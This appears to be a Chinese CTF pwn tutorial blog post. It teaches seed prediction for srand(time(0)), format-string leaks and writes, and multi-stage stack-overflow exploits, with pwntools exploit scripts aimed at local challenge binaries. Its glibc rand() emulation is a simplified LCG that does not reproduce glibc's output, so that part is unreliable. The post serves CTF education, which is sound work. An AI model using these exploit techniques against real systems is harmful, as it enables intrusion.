Pwn入门第五课:绕过基础保护与构造攻击链实战

1. 从零到一:Pwn入门第五课的核心脉络

如果你已经跟着XMCVE的Pwn入门课程走到了第五课,那说明你已经跨过了环境搭建、基础工具使用、栈溢出原理这些最初的坎。这第五课,通常是一个承上启下的关键节点。它不再满足于让你“能跑通一个简单的栈溢出”,而是开始引导你思考更现实、更复杂的问题:当程序逻辑变得不那么“直给”,当漏洞利用需要绕过一些简单的保护,或者需要结合程序自身的功能时,我们该怎么办?这堂课的核心,往往围绕着 “绕过基础保护机制” “利用程序既有功能构造攻击链” 这两个主题展开。很多新手在这里会感到迷茫,因为题目看起来“花里胡哨”,不像之前那样有一个明显的 gets 或者 scanf 等着你。别慌,这正是从“解题”思维向“实战”思维转变的开始。

我当年学到这里时,最大的感受是:Pwn开始变得“有趣”了。它不再是简单的覆盖返回地址,而是需要你像侦探一样,仔细分析程序的每一个函数、每一处逻辑,甚至每一个打印的字符串,从中寻找拼凑攻击路径的碎片。这节课通常会引入一些CTF中经典的题型,比如涉及随机数预测、格式化字符串漏洞的初级利用,或者是需要结合多次输入、菜单选择来达成目标的题目。理解这节课,相当于拿到了打开中级Pwn世界大门的钥匙。

2. 核心知识点深度剖析:从“看到”漏洞到“利用”漏洞

2.1 伪随机数的“不随机”: srand(time(0)) rand()

这是最近网络热词里提到的一个非常典型的场景: srand(time(0)); v3 = rand() % 1000; 。很多新手看到 rand() 就头大,觉得这是不可预测的。但实际上,在CTF的Pwn题中,这往往是出题人给你的一个“可控”的突破口。

原理拆解 rand() 函数生成的是伪随机数序列。 srand(seed) 用给定的 seed 初始化这个序列。如果 seed 相同,那么后续 rand() 调用产生的序列就完全一样。 time(0) 返回当前时间的秒级时间戳。在本地攻击或者远程连接时间差极小的情况下,攻击者完全可以预测或同步这个种子。

为什么这是漏洞? 假设程序用这个 v3 作为栈Cookie(Canary)的一部分,或者作为某个关键数组的索引,或者是一个验证码。如果你能预测出 v3 的值,就等于绕过了这个“随机”保护。在CTF环境中,远程服务器的 time(0) 返回值,你可以在连接时立刻获取,或者因为连接和处理的时间极短,可以近乎精确地预测。

实操中的关键点

  1. 确定随机数使用的位置 :用IDA或Ghidra反编译,找到 srand(time(0)) 和所有 rand() 调用点,看生成的随机数用在了哪里(是Canary?是密钥?还是偏移?)。
  2. 同步种子 :在你的攻击脚本(Exploit)中,第一步就是获取当前时间戳作为种子。通常使用Python的 int(time.time()) 。这里有一个 重要细节 :要确保你的脚本运行环境和目标服务器的时区一致(通常是UTC),或者对时间戳进行相应调整。
  3. 验证预测 :有时题目可能会连续调用多次 rand() ,你需要模拟同样的调用顺序,才能得到正确的预测值。写一个小函数来复现这个过程是稳妥的做法。

注意 :这种预测依赖于“时间戳即种子”的假设。有些题目会进行混淆,比如 seed = time(0) ^ getpid() ,增加了预测难度。这时就需要结合信息泄露等其他漏洞来获取 seed 或直接获取随机数值。

2.2 格式化字符串漏洞(Format String Bug, FSB)的初探

第五课很可能开始接触格式化字符串漏洞。这是二进制安全中另一个基石型的漏洞类型。它的危险性在于,它提供了“任意地址读”和“任意地址写”的能力,而这往往是突破现代保护机制(如ASLR、PIE)的关键第一步。

核心原理 : 当程序使用像 printf(user_input) 这样的危险函数时,如果 user_input 是我们可控的,且包含 %x %p %s %n 等格式化符, printf 会将这些格式化符解释为指令,从栈上读取本不属于它的数据作为参数,或者向指定地址写入数据。

在入门阶段的典型利用

  1. 泄露信息(任意读) :使用 %p %x 来泄露栈上的内容。这可以帮助我们找到:
    • 函数的返回地址(从而计算libc基址或程序基址)。
    • 栈上的其他敏感指针(如指向堆或libc的指针)。
    • 甚至是栈上的Flag字符串(如果程序将其读入栈中)。
  2. 覆盖内存(任意写) :使用 %n 系列格式化符( %n 写入int, %hn 写入short, %hhn 写入char)。 %n 会将截至目前成功输出的字符数,写入它对应的参数所指向的地址。通过精心控制输出的字符数,我们可以向任意地址写入一个特定的值。

一个简单的利用框架

from pwn import *

# 假设有格式化字符串漏洞的函数
p = process('./vuln_program')

# 1. 泄露栈上的某个值,例如第6个参数(从0开始计数)处的值,可能是一个libc地址
payload = b'%6$p'
p.sendline(payload)
leaked_addr = int(p.recvline(), 16)
log.success(f"Leaked address: {hex(leaked_addr)}")

# 2. 计算基址(假设泄露的是__libc_start_main+243)
libc_base = leaked_addr - 0x270b3 # 这个偏移需要根据本地libc计算
system_addr = libc_base + 0x52290 # system函数偏移

# 3. 使用%n覆盖某个函数指针(如GOT表中的printf地址)为system地址
# 这需要更复杂的payload构造,可能用到pwntools的fmtstr_payload
payload = fmtstr_payload(offset, {printf_got: system_addr})
p.sendline(payload)
p.interactive()

避坑指南

  • 参数定位(Offset) :这是第一个难点。你需要确定你的输入在栈上作为 printf 的第几个参数。通常通过输入如 AAAA%p%p%p%p... AAAA%1$p 来试探。看到 0x41414141 (‘AAAA’)出现的位置,就是你的输入开始的偏移。
  • 写入值控制 :直接写入一个大地址(如 0x7ffff7e52290 )需要输出海量字符,不现实。通常采用 %hhn 分字节多次写入,或者结合 %<num>c 来控制输出字符数。 pwntools fmtstr_payload 函数帮你自动化了这个过程,但理解其原理至关重要。

2.3 多阶段攻击(Multi-stage Exploit)与ROP链的雏形

当一次简单的栈溢出无法直接getshell时(比如因为NX开启,栈不可执行),就需要多阶段攻击。第五课的题目可能会设计成:

  1. 第一次输入:利用一个漏洞(如格式化字符串)泄露关键信息(程序基址、libc基址、栈地址)。
  2. 第二次输入:利用另一个漏洞(如栈溢出),结合泄露的信息,构造ROP链或覆盖函数指针。

这引入了 信息泄露 利用链构造 的概念。你的Exploit脚本不再是一行 payload = b'A'*100 + p64(system_addr) ,而是变成了一个有状态、分步骤的交互过程。

3. 典型题目实战拆解:一道融合随机数与溢出的题目

假设我们遇到一道题,它的大致逻辑如下:

  1. 程序开始时调用 srand(time(0)) ,生成一个随机数 key
  2. 提供一个菜单:1. 输入名字(存在栈溢出);2. 验证密钥(需要输入正确的 key );3. 退出。
  3. 只有通过密钥验证,才能触发一个危险的后门函数。

攻击思路分析

  1. 目标 :执行后门函数。
  2. 障碍 :需要正确的 key 。直接溢出覆盖返回地址到后门函数,可能在验证 key 的步骤就被检查拦下了。
  3. 突破口 key rand() 生成,种子是 time(0) ,可预测。同时,“输入名字”存在栈溢出。

分步攻击实现

from pwn import *
import time
import ctypes

context.log_level = 'debug'
context.arch = 'amd64'

# 假设本地测试
p = process('./challenge')
# 如果是远程:p = remote('target', port)

# 第一步:预测随机数key
# 我们需要模拟目标的libc rand(),因为不同平台实现可能不同。这里使用ctypes调用本地libc的rand。
# 更常见的CTF做法是,直接使用Python的random模块,因为glibc的rand()算法是公开的。
# 但注意,Python的random算法不同!所以正确做法是:
# 1. 要么题目给了libc.so,我们用pwnlib的DynELF或直接加载来调用rand。
# 2. 要么自己实现一个glibc rand()。
# 这里演示一个简单情况:假设我们能用与服务器相同libc的本地环境预测。

# 获取当前时间戳作为种子(假设服务器时间同步)
seed = int(time.time())
# 使用一个兼容glibc rand()的模拟函数
def glibc_rand(seed):
    # glibc rand() 的简单线性同余模拟 (LCG),注意这并不完全精确,但对于简单题目足够
    # 更严谨的做法是使用题目提供的libc文件中的函数
    return (seed * 1103515245 + 12345) & 0x7fffffff

# 模拟srand
state = seed
# 模拟第一次rand()调用(如果程序只调用了一次)
state = glibc_rand(state)
predicted_key = state % 1000  # 对应 rand() % 1000
log.success(f"Predicted key: {predicted_key}")

# 第二步:通过菜单选择,先进行密钥验证
p.recvuntil(b'choice:')
p.sendline(b'2')  # 选择验证密钥
p.recvuntil(b'key:')
p.sendline(str(predicted_key).encode())

# 第三步:验证成功后,再利用输入名字的栈溢出
p.recvuntil(b'choice:')
p.sendline(b'1')  # 选择输入名字
# 假设通过反编译得到偏移是72字节到返回地址,后门函数地址是0x401216
payload = b'A' * 72 + p64(0x401216)
p.sendline(payload)

# 第四步:可能还需要选择退出或触发流程
p.recvuntil(b'choice:')
p.sendline(b'3')

p.interactive()

为什么这样可行? 我们预测了 key ,从而通过了程序的合法验证流程。这之后,程序可能处于一个“已认证”的状态,或者直接给了我们执行后续操作的权限。此时再触发栈溢出,程序的控制流劫持就水到渠成。这道题巧妙地将 漏洞利用 程序逻辑绕过 结合在一起。

4. 环境配置的再审视与高级调试技巧

到了这个阶段,你的Pwn环境应该不仅仅是 ubuntu:latest pwntools 了。一些更高效的配置能极大提升你的效率。

4.1 针对性Libc管理

题目经常不提供libc文件,或者提供的libc版本与你本地不同。你需要:

  1. 使用 patchelf 修改二进制文件 :将题目的二进制文件指向你指定的、与远程服务器版本一致的libc。
    patchelf --set-interpreter /path/to/ld.so --set-rpath /path/to/libc ./challenge
    
  2. Libc数据库 :使用 libc-database 或在线工具(如libc.blukat.me),通过泄露的函数地址(如 printf puts )来查找对应的libc版本,从而确定准确的偏移。

4.2 GEF/Pwndbg增强型GDB插件

原生的GDB对Pwn手不够友好。务必安装GEF或Pwndbg。

  • GEF :功能强大,命令直观。 heap bins , heap chunks , search-pattern , dereference 等命令是堆题和内存分析的利器。
  • Pwndbg :界面更美观,对堆的显示有独特优势。 我个人的习惯是使用GEF,它的 context 命令能同时显示寄存器、栈、代码、反汇编,信息密度高。

4.3 Python Exploit脚本的最佳实践

  1. 使用 context :在脚本开头设置 context.binary = './challenge' pwntools 会自动获取二进制文件的架构、位宽、基址等信息,让 p64() p32() 等函数更智能。
  2. 善用 ELF ROP
    elf = ELF('./challenge')
    rop = ROP(elf)
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    
    这比硬编码地址要可靠得多,尤其是在PIE(位置无关执行)开启的情况下,你需要先泄露基址。
  3. 结构化交互 :使用 recvuntil(b'something:') sendline() 来稳定地与程序交互,避免因为输出缓冲导致脚本卡住。

5. 常见问题与排查思路实录

Q1:我泄露了一个地址,怎么知道它是什么? A1:首先,检查这个地址是否在程序映射的内存范围内( cat /proc/[pid]/maps 或GEF的 vmmap )。如果在 0x55... 0x56... 范围,很可能是程序本身的地址(PIE)。如果在 0x7f... 范围,很可能是libc地址。然后,用GDB的 x/x <address> 查看该地址的内容,或者用 info symbol <address> 尝试解析符号。更常用的方法是,将泄露的地址与已知的符号(如 __libc_start_main_ret puts )的偏移进行比较,来推断它是哪个函数。

Q2:我的ROP链构造好了,但执行到 system(“/bin/sh”) 时崩溃了。 A2:这是最常遇到的问题之一。请按以下顺序排查:

  1. 栈对齐 :在x86-64 Linux上, system 函数要求调用时栈指针 rsp 按16字节对齐。在 ret system 之前, rsp 的值必须是 0x...0 。如果你的ROP链以 ret 结尾,那么 rsp 通常是8字节对齐的。解决方法是在 system 地址前加一个 ret 指令的gadget(通常写作 rop.ret )来调整栈对齐。
  2. 参数位置 :确保 /bin/sh 字符串的地址已经放到了 rdi 寄存器(64位)或栈上正确的位置(32位)。使用 pop rdi; ret 这样的gadget。
  3. 字符串地址有效 :确保你传递给 system 的指针确实指向内存中一个完整的、以空字符结尾的 /bin/sh 字符串。这个字符串可以来自程序的 .data 段、 .bss 段,或者通过溢出写入栈上的已知位置。
  4. libc版本 :你使用的 system /bin/sh 偏移是否与目标服务器的libc版本完全一致?用泄露的地址重新计算一遍。

Q3:格式化字符串漏洞利用时, %n 写入总是失败或程序崩溃。 A3:

  1. 检查地址有效性 :你让 %n 写入的地址(比如某个GOT表项)是否可写?用 vmmap 检查该地址段的权限。
  2. 避免空字节 :如果地址是 0x7f... ,在构造payload时,地址本身可能包含空字节( 0x00 ),这会被C字符串函数截断。需要将地址放在payload末尾,或者利用格式化字符串本身的特性调整参数顺序。
  3. 写入大小 %n 写入的是 int (4字节), %hn 写入 short (2字节), %hhn 写入 char (1字节)。确保你使用的格式化符与目标变量的大小匹配。例如,覆盖一个64位的指针,通常需要两次 %hn 写入。
  4. 输出长度 %n 写入的值是 已输出字符总数 。如果你要写入一个很大的值(比如一个libc地址),直接输出那么多字符会导致网络超时或缓冲区爆炸。必须使用 %<num>c 来精确控制输出宽度,并结合多个 %hhn 分字节写入。

Q4:远程打不通,本地能通。 A4:这是Pwn手的日常。排查点:

  1. Libc :99%的问题出在libc版本不同。用泄露的地址反推远程libc的基址和版本。
  2. 环境差异 :远程可能是 ubuntu18.04 ,你是 ubuntu22.04 ,内核、libc版本都不同。用Docker容器模拟远程环境是最佳实践。
    FROM ubuntu:18.04
    RUN apt-get update && apt-get install -y libc6 libc6-dev
    
  3. 网络延迟与交互:远程交互可能更慢,在你的 recvuntil 中可能需要调整等待时间,或者使用更通用的 recv 配合 timeout
  4. 随机化 :远程的ASLR、堆布局可能和本地不同。你的攻击不能依赖固定的堆地址。所有地址都应该基于泄露的信息动态计算。

走到这里,你已经不再是Pwn的门外汉了。你开始面对真实的、混杂着多种保护和复杂逻辑的程序。记住,耐心和细致是你的最佳武器。反复阅读反编译的代码,在GDB中动态跟踪每一步,理解每一个数据的流向。每一个崩溃(Segmentation Fault)都不是失败,而是程序在告诉你:“你接近真相了,但这里有个检查你没通过”。去分析那个检查,绕过它,或者利用它。这就是Pwn的艺术,也是它让人着迷的地方。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值